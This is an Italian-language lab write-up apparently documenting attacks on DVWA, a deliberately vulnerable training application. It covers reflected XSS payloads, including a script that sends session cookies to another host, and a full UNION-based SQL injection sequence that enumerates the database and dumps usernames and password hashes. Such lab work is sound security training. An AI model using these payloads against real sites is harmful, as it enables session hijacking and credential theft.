

REFLECTED CROSS SITE SCRIPTING (XSS)

1. corsivo HTML

```
192.168.2.100/dvwa/vulnerabilities/xss_r/?name=<i>xss reflected</i>
```

What's your name?

Hello *xss reflected*

2. grassetto HTML

```
192.168.2.100/dvwa/vulnerabilities/xss_r/?name=<b>xss</b>
```

What's your name?

Hello **xss**

3. javascript alert con testo

```
192.168.2.100/dvwa/vulnerabilities/xss_r/?name=<script> alert('XSS alert') </script>
```

🌐 192.168.2.100

XSS alert

4. javascript alert con estrazione dei cookie della sessione

```
192.168.2.100/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
```

🌐 192.168.2.100

security=low; PHPSESSID=c2ffd665da1245b7fa90a0de9c97c237

```
<script>Var i = new Image ();i.src="192.168.1.100:1234?q="+document.cookie;</script>
```

SQL INJECTION

Ogni comando è stato iniettato tramite il form presente nella pagina web come da schermata successiva.

User ID:

Il comando < ' or 'a'='a > controlla il punto di iniezione ovvero verifica che gli input non vengano sanificati. La schermata successiva mostra i dati mostrati dal database in seguito all'esecuzione del comando.

User ID:


```
ID: ' or 'a'='a
First name: admin
Surname: admin

ID: ' or 'a'='a
First name: Gordon
Surname: Brown

ID: ' or 'a'='a
First name: Hack
Surname: Me

ID: ' or 'a'='a
First name: Pablo
Surname: Picasso

ID: ' or 'a'='a
First name: Bob
Surname: Smith
```

Con le query successive, procedendo per tentativi, individuiamo quanti campi vengo selezionati dalle query vulnerabili ovvero due come notiamo nella quarta immagine in quanto non ci restituisce un errore.

User ID:

The used SELECT statements have a different number of columns

User ID:

User ID:


```
ID: ' union select null,null #
First name:
Surname:
```

Con le query successive abbiamo estratto passo dopo passo informazioni sempre più importanti al fine di ricostruire la struttura del database e i dati stessi contenuti in esso. Il comando è contenuto tra i simboli <> mentre il risultato a tale interrogazione è mostrato nello screen della pagina web.

1. <union SELECT first_name, null from users where first_name='admin' #>

User ID:

ID: ' union SELECT first_name, null from users where first_name='admin' #
First name: admin
Surname:

2. <union SELECT first name, last name from users where first name='admin'>

User ID:

ID: ' union SELECT first_name, last_name from users where first_name='admin' #
First name: admin
Surname: admin

Con queste due prime query abbiamo individuato i nomi delle colonne (*first_name*, *last_name*) della tabella (*users*)

3. <' union select null, version() #>

User ID:

ID: ' union select null, version() #
First name:
Surname: 5.0.51a-3ubuntu5

4. <' union select user(), null #>

User ID:

ID: ' union select user(), null #
First name: root@localhost
Surname:

5. <' union select system_user(), null #>

User ID:

Submit

ID: ' union select system_user(), null #
First name: root@localhost
Surname:

6. <' union select connection_id(), null #>

User ID:

Submit

ID: ' union select connection_id(), null #
First name: 142
Surname:

Le query 3, 4, 5 e 6 abbiamo recuperato qualche dato sul database come versione, utente e l'id della connessione corrente.

Le interrogazioni successive hanno lo scopo di estrapolare direttamente i dati presenti nella tabella *users* fino a riuscire a leggere nomi utente e password utilizzando il comando individuato al n. 11.

7. <' union select null, grantee from INFORMATION_SCHEMA.USER_PRIVILEGES #>

User ID:

Submit

ID: ' union select null, grantee from INFORMATION_SCHEMA.USER_PRIVILEGES #
First name:
Surname: 'root'@'%'

ID: ' union select null, grantee from INFORMATION_SCHEMA.USER_PRIVILEGES #
First name:
Surname: 'guest'@'%'

ID: ' union select null, grantee from INFORMATION_SCHEMA.USER_PRIVILEGES #
First name:
Surname: 'debian-sys-maint'@' '

8. <' union select null, table_name from information_schema.tables where table_name like 'user%'#>

User ID:


```
ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: USER_PRIVILEGES

ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: users

ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: user

ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: users_grouppermissions

ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: users_groups

ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: users_objectpermissions

ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: users_permissions

ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: users_usergroups

ID: ' union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: users_users
```

9. <' union select null, COLUMN_NAME from information_schema.columns where table_name = 'users' #>

User ID:


```
ID: ' union select null, COLUMN_NAME from information_schema.columns where table_name = 'users' #
First name:
Surname: user_id

ID: ' union select null, COLUMN_NAME from information_schema.columns where table_name = 'users' #
First name:
Surname: first_name

ID: ' union select null, COLUMN_NAME from information_schema.columns where table_name = 'users' #
First name:
Surname: last_name

ID: ' union select null, COLUMN_NAME from information_schema.columns where table_name = 'users' #
First name:
Surname: user

ID: ' union select null, COLUMN_NAME from information_schema.columns where table_name = 'users' #
First name:
Surname: password

ID: ' union select null, COLUMN_NAME from information_schema.columns where table_name = 'users' #
First name:
Surname: avatar
```

10. <' union select user,avatar from users #>

User ID:

Submit

ID: ' union select user,avatar from users #

First name: admin

Surname: http://172.16.123.129/dvwa/hackable/users/admin.jpg

ID: ' union select user,avatar from users #

First name: gordonb

Surname: http://172.16.123.129/dvwa/hackable/users/gordonb.jpg

ID: ' union select user,avatar from users #

First name: 1337

Surname: http://172.16.123.129/dvwa/hackable/users/1337.jpg

ID: ' union select user,avatar from users #

First name: pablo

Surname: http://172.16.123.129/dvwa/hackable/users/pablo.jpg

ID: ' union select user,avatar from users #

First name: smithy

Surname: http://172.16.123.129/dvwa/hackable/users/smithy.jpg

11. <' union select user, password from users #>

User ID:

Submit

ID: ' union select user, password from users #

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user, password from users #

First name: gordonb

Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user, password from users #

First name: 1337

Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' union select user, password from users #

First name: pablo

Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' union select user, password from users #

First name: smithy

Surname: 5f4dcc3b5aa765d61d8327deb882cf99